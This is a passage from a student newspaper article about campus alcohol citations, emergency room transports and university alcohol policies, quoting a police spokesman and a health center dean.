“The increase in citations in 2009 to date can be partially attributed to increased staffing during nights when parties are held, [when] alcohol violations and other incidents such as burglaries, thefts and assaults are more likely to occur,” DPS spokesman Bill Larson wrote in an e-mail to The Daily.

Upperclassmen were issued the majority of Driving Under the Influence (DUI) and Drunk in Public tickets. The vast majority of MIP tickets were issued on the Row.

According to Ralph Castro, associate dean of substance abuse prevention at Vaden Health Center, the relative number of freshmen transported to emergency rooms for alcohol poisoning declined to 40 percent of all students transported to the ER for alcohol-related reasons. In previous years, they were the majority.

Castro believes the later fall move-in date for Row houses and revised University party-planning guidelines, both of which went into effect this summer, were instrumental in the decline of early-quarter emergency room transports. He sees the later move-in date as a “protective factor” that gives upperclassmen less idle time before classes start.

With those policies in place, Castro doesn’t see the need for additional changes in the near future.

“At this time, I believe that the policies we have in place are working,” Castro wrote in an e-mail to The Daily. “We have a solid social contract with students. The University assumes that students will make responsible and healthy decisions, and this assumption guides all of our policy decisions.”

In Castro’s opinion, the primary cause of unhealthy decisions is students’ poor ability to distinguish between the alcohol contents of different drinks, resulting in excessive consumption of hard liquor.

“Some students think they can drink hard liquor in volume quantities similar to beer, and this leads to troubling outcomes,” Castro said. “We continue to stress the dangers of hard liquor in our education efforts.”

When students are ticketed for alcohol violations, they are required to enter the Alcohol Education Seminar at Vaden’s Substance Abuse Prevention Program. Castro says the program has been successful since the rate of repeat offense is only four percent.

As alcohol education has become more pervasive, high-risk drinking has declined across campus, especially among freshmen. Castro indicated that while AlcoholEdu, the online alcohol education seminar required for freshmen, cannot be correlated to declining alcohol-related incidents at Stanford, there has been a marked decrease in high-risk drinking since the program was introduced four years ago.

“We continue to enforce the prohibition against Minors in Possession of alcohol,” Larson said. “Also, our sworn personnel work closely with our colleagues at Student Affairs to promote alcohol awareness and education.”

There were no violent crimes committed on campus this quarter where alcohol was implicated as a contributing factor.